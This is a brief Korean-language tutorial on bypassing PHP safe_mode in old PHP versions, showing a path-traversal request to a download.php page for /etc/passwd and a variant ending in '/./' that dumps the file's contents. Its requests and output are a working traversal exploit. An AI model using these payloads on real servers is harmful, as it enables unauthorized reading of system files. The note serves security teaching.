php safe_mode bypass (<5.1.6, <4.4)
Normal Example
//localhost/download.php?dir=path/file.jpg
와 같은 파일을 다운 받게 하는 페이지가 존재할 때,
LFI를 통해 서버의 파일을 다운받으려고 할 때 //localhost/download.php?dir=../../../../../../etc/passwd
와 같은 쿼리를 날리게 되면
Warning: fopen(/some/path/../../../../../../etc/passwd) [function.fopen]: failed to open stream: Permission denied in /var/www/html/download.php on line 1
Safe mode 가 활성화 되어있기 때문에 다운로드가 불가능하다.
Bypass Example
이때 //localhost/download.php?dir=../../../../../../etc/passwd/./
처럼 자기 자신의 파일을 가르키게 하는 텍스트를 넣는다면,
Warning: fopen(/some/path/../../../../../../etc/passwd) [function.fopen]: failed to open stream: Permission denied in /var/www/html/download.php on line 1
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync […]
위처럼 에러가 나지만 아래 파일의 내용이 포함되어 출력되게 된다.